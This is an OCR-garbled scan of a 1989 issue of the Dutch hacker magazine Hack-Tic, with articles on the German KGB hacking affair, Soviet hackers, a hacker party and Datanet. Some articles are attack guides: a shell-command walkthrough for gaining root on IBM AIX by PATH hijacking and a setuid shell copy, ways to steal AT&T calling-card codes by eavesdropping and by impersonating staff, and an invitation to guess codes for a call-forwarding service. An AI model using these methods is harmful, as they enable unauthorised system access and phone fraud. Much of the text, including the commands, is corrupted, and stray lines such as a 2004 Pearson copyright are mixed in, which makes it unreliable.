

HACKTIC

Tijdschrift voor Hack-activiteit

Met in dit nummer:

- Spionageaffaire BRD
- AT&T calling-card fraude
- Uitleg dataset-1
- Galactico Hacker Party
- Hacken in Rusland



**Nederlands Grootste, Dikste, Voordeligste
en Kwaadstekste Hacker-blad**

COLOFON

HACKTIC: is Nederlandse eerste hartkracht. Maar we lopen voorop het ongeveer 10 x per jaar. **LIEFDE:** met moeite (door een vrijwel onbegrijpelijk en ongeorganiseerd gezelschap van vreemde types).

REDACTIE: The Kap, John D., Tj. Herman Acker, Peter Postman, Paul en Rop.

ILLUSTRATIES: Koen Houtman.

CONTACT: De redactie is te bereiken via p.b. 22953, 1100 DL, Amsterdam. **UUCP:** Jernsteen-afdeling. Op het FIDO net 22001 Hack Tlc. Telex (modern 50-band telecommunicatiecomfort van de PTT) 12949 wester nl, telchis 020-763904. Zowel bij telex als bij fax even vertellen dat het voor Hack-Tic is. Ons telefoonnummer is 020-6931-499 (abonnee's die nader dringende reden voor 1300 uur belten krijgen kan volgende nummers met strafpost).

ERF: Losse nummers kosten 4 gulden, een abonnement voor 10 nummers (meest ongeveer een jaar meegaan) kost f 37.50. Abonnementen gelden overeenkomstig op bankrekeningnummer 98.72.04.541 t.a.v. Rop Goudgriep. Rekening loopt bij de volgende spaarbank, postrekening, 15368. Abonnementen beginnen met het laatste uitgegeven nummer terwijl je bij de betaling een ander beginnummer ontvangt. Grote nummers die niet meer voorradig

zijn worden ook niet in rekening gebracht.

FRUITS: Het is waar: als "er" wilt, hoort ze alleen maar naar onze hartkrachten te kijken om te zien wie er alomteerijst. Wij vinden Hack-Tic een uiterst geschikt blaadje, maar de kern bestaat dat lokale, regionale, nationale en in de toekomst wellicht zelfs Europese overheden het daar niet mee eens zijn. Heb je een maatschappelijke positie die je niet wilt verliezen dan kun je ook geld of geroepen en adres bijdragen in een artikel en die aan onze postbus sturen, wij weten dan genoeg. De Hack-Tic wordt altijd verspreid in een centrale verspreiding. (Straks denk je hoe pijnlijk dat je porno koopt per postorder). Hack-Tic is ook verkrijgbaar bij de goede boekhandel (wellicht kerkwinkel aan het overvullen voor de deur).

DISCLAIMER: Informatie in Hack-Tic doet slechts een educatief doel. Gebruik van deze informatie om strafbaarhandelingen te voorkomen kan zijn. De redactie wijkt iedere verantwoordelijkheid voor gebruik door lezers van de in Hack-Tic opgenomen informatie af. **NADDE:** toegestaan Kranten, tijdschriften, nieuwsbrieven, politieke partijen, wettelijke berichten etc. etc. mogen zonder voorafgaande toestemming van de redactie (maar natuurlijk met bronvermelding) stukjes overnemen uit de Hack-Tic. De bovenstaande disclaimer blijft echter van kracht. Nadruk van de gehele Hack-Tic is na-

leuklijke verbeteringen. (Missen toch meer dan shomacromi, want wij hebben hier een heel vol gans aanbod van producten die al wel een beetje meer geest en hebben.)

KLARSTELLING: Oude mannen
kopen ook fl. 4,- en kunnen via de
redaktiepost hun bestelling doen.

WYSIWYG (What You See Might Be a Little Different What You Get) DTP pakket. Ventura 2.0 genoemd op een gamelede AT. Print-outs van elke pagina worden met de afbeeldingen weergegeven.

den laesgravel geroeft en daarna
vermenigvuldigd. Dat nog een slo-
fje of 1 is en klaar was Kees (hoppen
we tenslotte wel dit fikkerd).

VERDELINGSAAR n.a. bij Het Computercollectief, Fort van Spijk, Slagveld en Athenaeum Boekhandel, allen in Amsterdam, De Rode Hand en Merk-It in Den Haag, De Rode Rat in Utrecht, De Dender in Nijmegen en Athena, een in Haarlem. Maak Uw klijfje met bij hebek electronics te Valkenburg

Learn2net

**Red: E. Goupprijs, redactie/administratieve Back-Tie
van: Inuk Electronics
datum: 4 maart 1985
betreft: abonnement back-tie**

Copyright © 2004 Pearson Education, Inc.

Door een verglazing hier is een stormvent edgeclo-
ten op een door 4 gereinigd hechterblad.
Wij kunnen ons niet permitteren gelet op onze contac-
ten en contracten w organisatie en of blad te onder-
steunen, zodat wij de door bedrijfsechde zullen
colosse.

Wij kunnen ons niet permitteren op eniglei wijze onrecht en ongewild in verband te worden gebracht met apomergesactiviteiten, criminaliteit en drugs. Het prestatiekritiek zou kunnen zijn dat wij schade oplopen door de blote verdedigingen zonder ook maar op eniglei wijze ons daartegen te kunnen verdedigen.

Wij hopen dat U daarvoor begrip wilt willen opbrengen en zouden het op prijs stellen als U de abonnementsprijs wilt restitueren en ons uit uw bestand wilt verwijderen.

Welkom in Hack-Tic 3

Het begon allemaal zo kalen. Stel hackers geven blaadje uit, roer leuk. Daarna kwam alle consensatie rond "computerspionage" uit de Hondrepubliek. Toen twee en een kalen week na publicatie De Telegraaf ook nog onthielde dat er was ingefoedien in het computerat van AKZO en dit nieuws onmiddellijk 'actualisanda' en op de voorpagina sette van de chers compleet.

De Nederlandse pers storte zich als i man/vrouw op HackTic en haar redactie. Volledig bedolven onder interview kwam de redactie nog maar zenuwelijk toe aan het maken van de HackTic, iets waar het eigenlijk toch wel een beetje om begonnen was.

Om zo vaak niet te erg geweest zijn als maar niet te veel mensen die toezenders ook werkelijk lieren. We moeten de afgelopen weken met een krachten naar de postbus en het abonnementbestand is meer dan 2 x zo groot geworden. Ook de losse verkoop heeft cijfers waar de rest van de "ondergrond" pers rijstbaar slagers bij zou slinken. Abonnees met een afgeronde Schuyvers opleiding kunnen hun abonnementsgeld terugvrijen.

Te die tijd vraagt de redactie begrip voor postachterstanden die sneller ontstaan dan je te weg kunt werken, het meedont maken verstanden van de verkochte nummers van Hack-Tic (als je anders al wat krijgt). Elk en opkruisen in de adre-

labels, afgekeide waarden en een onbeteug gear uit de monden van de redactie.

Er is toch nog WAT gedaan hier. Zo is er een Hack-Tic sticker uit (be-dacht Paul). Verder is er een poster verkrijgbaar, beschikbare informatie verderop in deze Tic.

De PTT is zo vriendelijk geweest een nieuwe telefoonlijns aan te leggen, zodat de redactie nu ook telefonisch te bereiken is. Het nummer is 020-6000-880 (jewe), een van de eerste nummers in de 020-schijf (Lissie) niet bellen voor 13:00 uur.

IN DEZE TIC:

- 2.....colofon
- 3.....Lazerspost
- 4.....Tic-3 is uit
- 6.....Spionage
- 7.....Hacken in Rusland
- 11.....UNIX-AIX op RT
- 12.....kort-kort-kort
- 13.....AT&T calling cards
- 15.....Hacker Party
- 17.....DataNet
- 19.....Chatsystemen
- 22.....Telefooncallen II
- 23.....Sticker
- 24.....Backup

Spionage?

De wereld is opschudding. 'Duitse hackers verkopen high-tech aan het Oostblok', 'Duitsele spionagetaak vindt Dieter Gellertsen' etc. etc. In een televisieverslagage in het ARD programma 'Draufgänger' worden hackers en met name de Chaco Computer Club afge schilderd als een jonge groep alcohol- en drugs verduurde computergebruikers. Met donkere beelden van geluimen achter computers doet men er nog een schijps boevenap. Naar het oostelijk verdereen zijn onder andere 'Comploten en operating systems'. Verder worden bij Philips en Thomson (Prinses defensie gigant) gegevens verduurden zijn.

De volgende dag zijn in Duitsland de meeste kranten de eerste berichten al weer aan het relativeren nadat de minister van binnenlandse zaken Zimmermann heeft gezegd dat er van grootschalige spionage geen sprake is geweest. De Nederlandse bladen waren echter de eerste berichten kritiekloos over.

Wat is nu werkelijk gebeurd? Zijn alle Duitse hackers in werkschijnd spioneren? Krijgen Hack-Tic schonen's binnenkort bezoek van KGB agenten? Hack-Tic doet een backje open.

Uit de tijd van de NASA-hack door een aantal Duitse computerkruisers dateert het verhaal van Professor Clifford Stoll. Deze Stoll ontdekte al enkele jaren geleden dat er computerhackers op zijn systeem

aan het werk waren. Hij schreef de FBI in en samen met de FBI werd besloten de hackers een beetje te 'voeren' zodat ze getuurd konden worden. Er werd een aantal mensen "Bugs" in de computer geplaatst en na enige maanden intensief spionewerk werd de "Wily Hacker" getuurd tot in Hannover. Het bleek de 27 jarige UNIX en VMS expert Markus Hess.

Dus Markus heeft samen met een aantal anderen:

Karl Koch, 25 jaar oud en zelf afkomstig uit Hannover. Omdat hij een regel losse levenswijze zou hebben en drugsverbruik zou zijn zou hij informatie verduurd hebben aan de KGB.

Hans Hübner, alias "Frago", uit Berlijn. Deze 28 jarige eigenaar van een kleine computerzaak in Berlijn zou geld nodig hebben gehad om in zijn domein investeren. Hübner zei als de anderen niet tot een hacker club, maar heeft goed contact met de plaatselijke hackerscene's.

Dieter Brechtel uit Berlijn. Programmer en trouble shooter voor Siemens BS-2000 systemen. Verdienste bij Siemens DM 30.000 in de maand en wordt door zijn verhoorders gezien als een genie.

Peter Carl uit Berlijn. Ho-orecpieler die "niet bijgevoegde content had". Over zijn computerkwaliteit ervaring zijn geen gegevens voorhanden.

Nadat de groep de informatie van de KGB zou hebben opgevoerd zou

Zit er een Russische Steve Jobs aan te komen?

Door Edward Hart Rice, Racker

Ik ontmoette voor het eerst Russische hackers in Rostov, Vjugin, een paar kilometer van het Pentagon.

Twintig jonge "computer-wijds" waren naar de VS gekomen onder aanmoediging van wijlen Andrei P. Ershov van de Sovjet academie voor wetenschappen, afdeling Siberië. In een high-tech vergaderzaal van een van de grootste computerbedrijven vertelde een spreker de "kids" over een van Tandy gekende Tandy 102 laptop. Een groepje doorgewinterde hackers was achter achter in de zaal met iets heel anders bezig: de machine olt.

Ze waren er al achter hoe de inhoud van het ROM op het scherm gebracht moest worden. Nu, nog voor de spreker door zijn uitleiding heen was, waren ze bezig de code te begrijpen.

Zodan verhalen zijn van belang voor de high tech gemeenschap, omdat ze aangeven dat de Sovjet-Unie in de toekomst veel inventiever zou kunnen zijn. Ze zijn er toe in staat te ze willen het. De hackers van vandaag kunnen de hardware en software top-ontwerpers van morgen zijn. De Russen praten nu al over 32-bit ontwerp en voor micro's en andere technologische en commerciële

hoogstandjes, wat ik veel misdien van ik wel in de aanwezigheid van een Russische Stephen Wozniak of Steve Jobs.

Of dat goed of slecht is hangt af van hoe je het bekijkt. Aan de ene kant is het zo dat als de relatie tussen de Sovjet-Unie en het westen steeds beter blijft worden, wij wellicht allemaal beter worden van de laatste, en het talent dat ik in die vergaderzaal heb gezien aangezien we kunnen zelfs profiteren van hoge verkoopsprijzen van westerse computers aan Sovjet-commercie, als hun financiële situatie beter wordt. Aan de kant zijn er angstige voor commerciële en militaire concurrentie. Ik ga hier geen oordeel vellen; ik doe verslag van Sovjet hackers tussen het traditionele autoritaire systeem en de mogelijkheden, veroorzaakt door westerse high-tech embargo's en de schaarheid van computereapparaten.

Tijdens het bezoek van de "computer-wijds" in 1986 werd het Handelsministerie van de VS gevraagd of de Russen hun Tandy 102 laptops mee mochten nemen. Het ministerie weigende in eerste instantie met als argument dat de LCD-displays (8 regels van 60 tekens) te geavanceerd waren om in handen van de Russen

te vallen. Dit geeft aan hoe men daar denkt over de beschikbaarheid van dit soort technologieën in het nootblok. Na acht dagen intensief lobbyen door een Amerikaanse sympathisant besloot het handelsministerie dat portable computers van \$299 toch geen strategische goederen waren.

Op een van zijn stops gedurende hun drie-weekse reis door de Verenigde Staten waren de studenten te gast bij de George Mason University in Fairfax, Virginia. Een Amerikaanse chemieprofessor vertelde over zijn computertoepassingen en gaf demonstraties. Ongeveer de helft van de groep luisterde met veel moeite doch met volle overgave. De meeste anderen noorden in de stapel papieren die ze hadden verzameld. Maar ik keek met groot plezier naar een klein groepje dat een PC had ontdekt en aangoot en dat nu bezig was de directorystructuur te verkennen en programma's met interessante namen opstartte. Om een beeld te krijgen van de moeilijkheidsgraad van dit alles: het is een Cyrillisch toetsenbord voor een directory in het Russisch!

Zoals door deze voorbeelden van Russische hackers wordt geïllustreerd florent "respectabel hacker" in de Sovjetunie, en het krijgt zelfs een geringe hoeveelheid officiële steun. Er bestaat zelfs een fanzine-fisch Russisch computerspel, genaamd TETRIS dat nu in het westen te koop is en verkoopt als warme broodjes. Grootschallig illegaal hacken zoals in Amerika (bijvoorbeeld de "414's" uit Milwaukee), de computer-

viropaniek en witte-boarden computercriminaliteit zullen de Sovjetunie niet bereiken voordat daar een grote, knochtige en verzadigde computercultuur is ontstaan.

In de VS staan computeronderwijs en hacken lijnrecht tegenover elkaar als het er om gaat jonge mensen met computers te leren omgaan. In de Sovjetunie hebben ze alles met elkaar te maken en dit met steun van de overheid. Toen het duidelijk werd dat jonge Amerikanen jaren voorleggen op jonge Russen wat betreft computers en geavanceerde elektronica namen de Russische autoriteiten voor de hand liggende maatregelen: ze zorgden voor een raad, vertaalen palcia als ontmoetingsplaats, zorgden ervoor dat er mensen konden worden aangeworven en dat er een computers kwamen en de Moskou Computer Club voor jonge hackers was geboren.

De computerclub groeide onder toezicht oog van schaakkampioen Gary Kasparov. Kasparov heeft wat reclame gemaakt voor de Amerikaanse fabrikant Atari, maar mocht geen betaling ontvangen in dollars. Ook kon Atari hem niet in roebel betalen. De betaling geschiedde in een prijs en de Moskou Computer Club besloot nu over een rijk assortiment aan redelijk snelle microcomputers. Het palcia mag hard aan een vrije toe zijn, het mag er koud zijn 's winters: de 'kids' behandelen de computers als zijn het kroonjuwelen terwijl ze leren hoe zo er met om moeten gaan.

Een onderdeel van hacken - laten we het "zwart hacken" noemen om het te kunnen onderscheiden van legaal, ethisch verantwoord, constructief en aangemoedigd "wit hacken" - lijkt te ontbreken in de Sovjetunie. Als het bestaat hebben andere Amerikanen en ik er in ieder geval geen contact mee gehad. Op Russische straatjes geen vull, omdat een netje sovjet-burger een eenmaal geen vull op straat gooit. Op computersystemen gooi je gewoon geen files weg en je gooit het systeem gewoon niet in de ver.

Cynici zouden beweren dat dit vooral voortvloeit uit angst voor straf en daar zit een element van waarheid in. Het Sovjet-systeem is niet erg vergaand. Het is in ieder geval een buitenaards idee in de Sovjetunie dat een student een landelijk onderzoekscomputernetwerk zou kunnen landloggen en daarvoor niet gestraft zou worden, hoewel dit precies is wat er met een aantal struikelvallen in de VS lijkt te gaan gebeuren.

Tech leeft onder de "middenklasse" in de Sovjet regering, de zorg dat computers een bedreiging voor regering en partij zouden kunnen zijn. Ze kunnen tactische printers aandrijven en het zijn krachtige communicatiemiddelen.

Maar er bestaat ook een diep gewortelde, onderwets aandoende ethiek die geldt voor alle facties van de Sovjet samenleving en die zegt dat je geen onnodige dingen doet omdat... nou gewoon, daarom niet. Amerikaanse conservatieven zijn min of

meer aanhoudend teleurgesteld dat ze'n houding in de VS wellicht niet meer bestaat, maar geven niet graag toe dat dit in de Sovjetunie nog wel het geval is.

Een reden voor de Russische houding ten opzichte van sociale verstoring van het "zwart hacken" type is een gebrek aan hinderomstandigheden, regering en leger. Hoewel de regering catastrofe machtig is, zijn bijna alle burgers in haar dienst. Burgers zien de regering niet als "zij" maar als "ons".

Een andere reden voor de afwezigheid van "zwart hacken" is dat het wellicht een bijproduct is van de overcapaciteit aan computers die op dit moment bestaat in het westen. Als computers gedeeld worden en computerrij schaars is, dan is verstoring een last die men zich niet kan veroorloven en die niet wordt getolereerd. Maar als iedereen binnen een universiteit zich een computer kan veroorloven wordt het een uitdaging om je tijd creatief - of destructief - te gebruiken. Een Siberische student gaf me een plaatje dat hij jaren geleden op een graphics-cursus had gemaakt en dat hij in al zijn producten gebruikte als persoonlijk handelsmerk. In de VS is het waarschijnlijker dat de "zwarte hackers" broederschap bestaat uit een broederschap, achtergelaten vlak voor de system-crash.

Er zijn ook andere redenen waarom "zwart hacken" nog niet is aangeworven in de Sovjetunie, en nog wel even weg zal blijven.

Grote computernetwerken met regeringondersteuning, open voor

grote delen van het publiek bestaan gewoon niet. De Sovjetunie heeft ook geen hacker netwerken als BFT-net of FidoNet, en het zal ze waarschijnlijk ook niet hebben voor het eind van deze eeuw. De meeste Europeanen kunnen reguleren het gebruik van modems door burgers. In de Sovjetunie zelf bestaan gewoon geen modems buiten het officiële circuit en het gemachtigd telefoonnet is er ook niet voor gemaakt. Gecontroleerde verbindingen tussen enkele punten in de Sovjetunie en West-Europa en de VS bestaan, maar er zijn maar twee of drie van zulke verbindingen.

Bekrijger is dat computers in de Sovjetunie niet zo daar zijn als auto's in het westen. Dus zijn de computergebruikers een tamelijk geprivilegeerde groep die terughoudend is om het door de maatschappij in haar geschiedenis vertrouwen te schenken. Handelsbeperkingen tegen de Sovjetunie hebben waarschijnlijk ook een behoorlijk effect op de Sovjetindustrie die veel techniek nodig heeft en lijkt onder het feit dat zij een lagere prioriteit heeft dan defensie en prestige-fabrieken.

De tekorten in high-tech komen terecht bij de consument. Er bestaan

geen Russische broodroosters, radio's of auto's met computer voor de gewone consument. Zelfs als de handelsbeperkingen vandaag bij toeval zouden verdwijnen zou het gebruik van harde schijven en microprocessoren de Sovjetunie ernstig beperken in haar streven om over micro's en andere high-tech te beschikken. Gevoelend naar de situatie en zal de Sovjetunie nog lange tijd van het "zwarte hacker" gebruikd blijven.

Edward Rice woont in Virginia in de Verenigde Staten en heeft al meer dan twintig jaar diverse operating systems. Hacker hij is het begin 1987, een IBM systeem dat in het stroom tijdperk van het twintigste de zestigste jaren populair was, en is hij een Macintosh freak. Rice is actief in de "Earth-strewnet Network", een beweging die zich bezig houdt met het oplossen van conflicten en met burgerdiplomatie.

Het artikel verscheen eerder in "High-Technology Export & Import". Hoorling: Top Ganggrege Hack-Tie dankt de auteur voor zijn bijdrage, Hooi Mollard voor het spelen van het artikel en god voor het feit dat de auteur er nog niet achter is dat hij zijn artikel hebben gejet.



Zo wordt je 'root' op IBM RT onder AIX

We weten allemaal dat UNIX nu niet een van de veiligste besturings-systemen is. Ondanks hebben we bij ons op school een foutje gevonden in het AIX systeem dat draait op een IBM RT, die weer aangesloten zit op een grote computer.

De fout zit eigenlijk in het programma "expressive", dat mail start aan een gebruiker bij het inloggen, als hij uit het systeem is gegaan terwijl hij bezig was een file te editen in VI (de UNIX on-screen editor). "expressive" zorgt ervoor dat deze file bewaard blijft, zodat de gebruiker het verslijst of kopieert naar zijn eigen directory. Onder "expressive" onder root-privilege wordt, kan men dus ook (indien dit aan te passen is), de SHELL kopiëren naar zijn eigen directory. Dit gaat met een kleine omweg prima (tot zelfs grote vraagde)

Het komt hier op neer, dat we het programma "mail" simuleren. Dit programma zetten we in de directory /tmp en kopiëren de SHELL naar de gewenste directory. Vervolgens zorgen we voor een te editen file die afgebroken wordt, waardoor er in de directory /tmp een file Exyxy (met yyy is een nummer) komt te staan. Dan veranderen we het zoekpad in /bin:/usr/bin. Hierdoor wordt er eerst in de huidige (.) directory gezocht naar de file "mail". Daar wordt uitgevonden en kopiëren de SHELL naar je eigen directory. Dan moet je

alle sporen weer verwijzen uitwissen en de file "pp" opstarten.

Als je alles goed gedaan hebt, verschijnt er als prompt : # (niet een volgeknipperende cursor) stekken dat je ROOT bent (klop klop hoera)

```
cd /tmp
cat mail
cp /bin/rsh (home dir)/pp
chmod 4711 (home dir)/pp
"q
vi pa (maakt 1000 a's)
wq
ls -al
```

Dan moet je de file die op jeew logge-namc staat en begint met E#???? hebben

```
PATH=.: /bin:/usr/bin
export PATH
/usr/lib/expressive
E#????
```

```
exit
sq
rm pa
Herhaal nu:
vi -r pa
en:
q
```

Doe dit tot E#???? en E#???? uit de tmp directory zijn verdwenen.

```
sq
rm mail
cd pp
```

vanaf hier heb je ROOT privilege, dus ga op met wat je doet!

Eddie de Hecker

kort-kort-kort-kort-kort-kort-kort

Doorschakeldienst

Wij hebben weer een leuk raadsel-
pje. Er zijn in Nederland een groot
aantal nummers die opremen met
"Doorschakeldienst, geef deursleu-
de" en dan hun mond houden. Tja je
op je DTMF telefoon 3 cijfers in dan
zegt ie "Opdracht ongekld, verbreek
alsblijft." Dit herhaalt ie nog een
keer en dan verbreekt ie.

Dit wordt gebruikt door abon-
nees van de doorschakeldienst die
op deze manier hun telefoon op ad-
stand naar een ander nummer kun-
nen laten doorschakelen.

Een voorbeeld van zo'n nummer
is 030-364159. Als iemand een gel-
de code vindt (misplukken kunnen er
nog wel een hele lading andere leuke
dingen met dit systeem worden ge-
daan...) belijft hij of zij de HackTie
opgehaalt.

The Key

Re: lantaarnpalen

De antennes die aan de lantaarn-
palen bevestigd zitten (zie Tio-2) zijn
van de plaatselijke busdienst. Zo die-
nen als signaal voor van de bus naar
de buscentrale.

Er rijden telegraphen rond,
dove busen tellen het aantal inpar-
de en uitgaande passagiers. Rijdt
zo'n bus onder de antenne door dan
worden de gegevens doorgesluid
naar de buscentrale.

Nu kan nu in de buscentrale zien
hoe druk het overal is, is het erg druk
dan kan men een extra bus inzetten.
En met het oog op de toekomst, wa-
neer de strippenkaart vervangen
wordt door een magneetkaart, wil
men ook kunnen zien hoe veel er
over getreden wordt.

De frequentie voor de antennes
moet tussen de 154.4625 en 155.5875
MHz liggen.

Pisaang

Gedownload op het computernet van Rijksuniversiteit Utrecht

NETWERK - INFORMATIE

Donderdag 16 maart 1995.

DE P.T.T. HEET ONS GEMELD DAT EN VANUIT DE R.U.U. VIA
GUSPERT INGEROKEN WORDT OP HEN HOET IN DE VERENIGDE
STATEN. ZIJ HERKEN ONS NIETGEHELD DAT ZIJ BEZ MEEKA-
LING, ZONDER MELDING VOORAF, DE TOEGANG VAN DE R.U.U.
TOT HET BUITENLAND SULTAN AFSLUITEN.

Valsspelen met kaarten

In America, waar alles beter is, heeft iedere zichzelf respecterende zakenman een zak vol met plastic creditcards en aanscherpende reken op zak.

Ook de Amerikaanse telefoonmaatschappijen geven hun eigen creditcards uit. Met deze cards kan je (soms zelfs zonder tussenkomst van een operator) vaak elk willekeurig toestel bellen op je eigen kosten. Tenslotte als je je eigen cardnummer heeft.

Een nummer van zo'n card is als volgt opgebouwd:

XXX-YYY-ZZZZ-CCCC

Waar XXX-YYY-ZZZZ staat voor respectievelijk de area-code, prefix en subscriber number (de drie elementen van het USA telefoonnummer) van de eigenaar van de kaart en CCCC voor een daarbij horende code. Deze codes worden op een centraal punt in een computer geregistreerd.

Nu komt de grap: in Nederland bestaat een gratis helpline nummer (06-022 9111) dat direct doorverblijft met een speciale dienst van AT&T, genaamd AT&T USA DIRECT. De operator die de lijn opneemt kan een aantal dingen voor je doen:

- Collect calls maken (gesprek op kosten van de ontvanger). Als je ooit kennid in America collect wilt bellen is deze manier te prefereren boven de Nederlandse operator, want de Nederlandse

PTT is in vergelijking (natuurlijk) GRUFWILDEK daar.

- Callingcard calls maken. Er staat in het ons in dit artikel natuurlijk om te doen. Je geeft de operator het nummer in Amerika dat je wilt bellen en daarna geef je het calling-card nummer door. Zij toetst de nummer af in op een computer-terminal en als het systeem zegt dat dat de juiste code is voor dat telefoonnummer dan wordt je doorverbonden.

Hoe kom je echter aan aandienende code? Daarvoor is door generaties Amerikaanse collega's een hele rits trucs bedacht.

- De leukste: Als je aan een van de kusten van America woont koop je een radio scanner en je luistert naar de kustwacht. Er zijn speciale frequenties in de scheepvaartband waarop je direct een AT&T operator krijgt. De matroos weet zijn calling-card nummer DCHSR DE RTHSR en krijgt verbinding! Een beetje piek + bloemetjes moeten hier voldoende zijn... De frequenties (om door te geven aan je zeeffe in Los Angeles) 161.800 MHz t/m 162.000 MHz in stappen van 25 MHz.
- De illegaalste: Je luistert een telefooncel op een groot vliegveld ergens in de USA (of daarbuiten...?) af. Hoe je dit doet is je eigen zorg. Je hoeft niet noodzakelijk de andere kant van het ge-

HELLO, OPERATOR?
I WOULD LIKE TO HAVE
A CALLING-CARD CALL...



spreek is horen, want het gaat je er alleen maar om wat de operator tegen de operator zegt. Men belt op, geeft calling card code en pbeest belken de hele wereld.

- De laatste: Je belt iemand op, geeft je uit voor AT&T employee en vraagt met een leuke smoes naar de code. HET WERKT ECHT.

Natuurlijk is het niet de bedoeling dat je met behulp van deze informatie op andermans kosten naar Amerika gaat bellen. Als je het toch doet is het mischien wel leuk om te bedenken dat een verzekering tegen fraude is ingegrepen als je zo'n kaart neemt. De werkelijke kosten (veel

minder dan het gesprekstarief) zijn dus voor AT&T.

Vraag niet hoe het kan maar —

De Nederlandse PTT is al meer dan een eeuw aan hulp verzoekt bij het oplossen van fraudeurs die zich van calling cards bedienen. De PTT is echter met deze hele service toch al niet blij omdat de PTT veel liever zelf geld verdient aan collect-calls naar de States en is dus niet geneigd om op zulke verzoeken in te gaan. Wel wordt de bestemming van alle gesprekken geregistreerd, dus als je vriendjes je op deze manier bellen vanuit de States kun je maar beter andere vakantieplannen maken voor de komende 25 jaar.

Mr Zap

GALACTIC HACKER PARTY

2nd, 3rd, 4th of August 1989

PARADISO, AMSTERDAM, HOLLAND

During the summer of 1989 the world as we know it will go into overload. An interstellar particle stream of hackers, phone phreaks, radioactivists and assorted technological subversives will be fusing their energies into a media-melt-down as the global village plays into Amsterdam for three electrifying days of information interchange and electronic capers.

Aided by the advanced communications technology to which they are accustomed, the hacker forces will discuss strategies, play games, and generally have a good time. Free access to permanently open on-line facilities will enable them to keep in touch with home base - wherever that is.

Those who rightly fear the threat of information tyranny and want to learn what they can do about it are urgently invited to interface in Amsterdam in August. There will be much to learn from people who know. Celebrity guests with something to say will be present in body or electronic spirit.

The force must be nurtured. If you are refused transport because your laptop looks like a bomb, cut off behind enemy lines, or unable to attend for any other reason, then join us on the networks. Other hacker groups are requested to organize similar gatherings to coincide with ours. We can provide low-cost international communications links during the conference.

For further information, take up contact as soon as possible with:

HACKTIC
PO box 23503
1100 DL Amsterdam
The Netherlands
tel: +31 20 6001480
fax: +31 20 763796

PARADISO
Weteringschans 6-8
1017 SG Amsterdam
The Netherlands
tel: +31 20 364525 / +31 20 337348
fax: +31 20 322733

urp@brevevline.nl/helrop
file: 2480/ Hack Tic
telnet: 12809 needs.nl

Please relay this announcement through all channels of communication that you can access. SPREAD THE BYTE.

Amsterdam, spring 1989

GALACTIC HACKER PARTY

HACK-TIC organiseert mee aan grootste
hackerfeest aller tijden.

Door middel van voorgaand artikel bericht op de computerfeest is het begonnen het meest eindigende in een wereldwijd feest op 2,3 en 4 augustus. De Amsterdamse post van dit komische gebeuren vindt plaats in Paradiso, dat voor dit doel zijn deuren 3 dagen lang opent voor iedereen uit alle windstreken.

Zoals in het bericht is te lezen worden verspreiders aangespoord om hun ogen te richten op te richten en dit door middel van koperschakels, glasvezel, elektromagnetische straling van diverse golflijnen en andere communicatiemiddelen met Paradiso en de andere knooppunten te verbinden.

Eind juli, begin augustus zullen er wel opvallend veel letters met een computer door Europa lopen.

Wat gaat er nu precies gebeuren in Amsterdam?

Ten eerste zal heel Paradiso vol staan met computereapparatuur, modems en andere communicatiemiddelen. We denken dan aan zend- en ontvangapparaat, satellietcommunicatie en wat dies meer zij. Er zullen on-line verbindingen zijn met een aantal belangrijke BBS'en en informatiebron-

nen. Terwijl de overvloedige telecommunicatie en de hard-disk zoektochten zullen hackers en geïnteresseerden via gratis schermen de klink van het datanet aan den lijve kunnen ondervinden.

Wederom wordt er gediscussieerd en gesproken door beroemdheden uit het heden en verleden van de informatietechniek. Deze beroemdheden zullen niet allemaal persoonlijk in Paradiso aanwezig zijn, een aantal zal zich via "het net" en gratis schermen tot het publiek in Paradiso en de rest van de wereld wenden.

Natuurlijk blijft er ook genoeg tijd over om (multi-user) spelletjes te spelen en een draaije te draaien. Om ook de verre afzender van het gebeuren van informatie te worden zal een hot-net worden geïnstalleerd waarop iedereen bezoeker zijn of konij kan.

Natuurlijk is een idee als dit nooit "af". Levens met goede ideeën en een gezond gevoel voor chaos zijn bij deze van harte uitgenodigd om hun gedachten over dit gebeuren te laten gaan. Laat het duidelijk zijn dat NIETS ons op voorhand te gek is.



Datanet, een ander speeltje van de PTT

Veel data gaat over normale telefoonlijnen. Er bestaat echter ook een spoor net voor dataverbindingen. Over dit net kunnen grote hoeveelheden data stroomgrijs en locaal worden overgebracht.

Om de kosten per overgebracht te bit laag en dus de wint veel te houden is de data opgesplitst in pakketjes. Deze pakketjes kunnen elk hun eigen weg door het net zoeken zodat er minder lijnen aangelegd hoeven te worden (in de optie gaat je pakketje Amsterdam-Utrecht geweest over Maastricht, no problem).

De gemiddelde huishouding kan de datanet tarieven alleen betalen als hij er een hoeveelheid van markt informatie aan de KCB te verkopen. Om alle hiermee samenhangende offertes te voorkomen hier wat tips voor werkdag, pakket-verlichting gaat te gunstbaar tarief.

Datanet 1

Het pakketgerichtheids (packet-switched) netwerk heet in Nederland Datanet 1. Het aanje werkt volgens het X.25 protocol. Dit is een aanbeveling van het CCITT (Een organisatie die protocol-eigige standaardisatie te krijgen in de telecommunicatiewereld). Dit protocol zorgt er dus voor dat de communicatie tussen de verschillende computers over Datanet 1 goed gaat. De verandering van Datanet 1 naar jouw computer wordt

gevoerd door een PAD (Packet Assembler / Disassembler). Het protocol tussen de PAD en jouw computer is het X.25-protocol, een ingewikkeld de naam voor synchrone RS-232.

Pakketten

De data wordt in pakketten over de lijn gestuurd. Deze pakketten zijn 1 tot 128 bytes lang (lage pakketten worden niet verstuurd) in het pakket zit minimaal het adres, volgnummer en enkele controlebits.

Pakketten worden verstuurd als :

- Ze wel zijn (128 bytes)
- Je een bepaalde tijd-afkist
- Je "break" indrukt
- Je PAD een "call" teken ontvangt (normaal staat dit teken ingesteld op "nature". Je PAD verzond dan data als je op return drukt.

Ook kan de PAD door middel van het "call" teken in de command mode worden gezet zodat je instellingen kunt veranderen etc. etc.

Adressering

Op het telefoonnet heb je een telefoonnummer. Op datanet 1 heet dat een "naam" (network user address). Het woord "naam" wordt vanaf nu niet meer tussen aanhalingstekens geplaatst en wordt in verdere edities van Hack-Tic min of meer als bekend verondersteld. Het naam is als volgt opgebouwd

(0) A A A A (B C C C D D D E E

- 0 = Ora aan te geven dat je naar een ander netwerk wilt
- A = Netwerk-code
- B = Zoografische regio-indeling in Nederland in dit stijfje 1.
- C = Indeling naar regio
- D = Verdere indeling naar locatie
- E = Eventuele zelf ingestelde sub adressering

De eventuele subadressering kan de gebruiker bezetten om meerdere computers aan 1 lijn te hangen. Een soort doorkleemmer dus.

Bediening

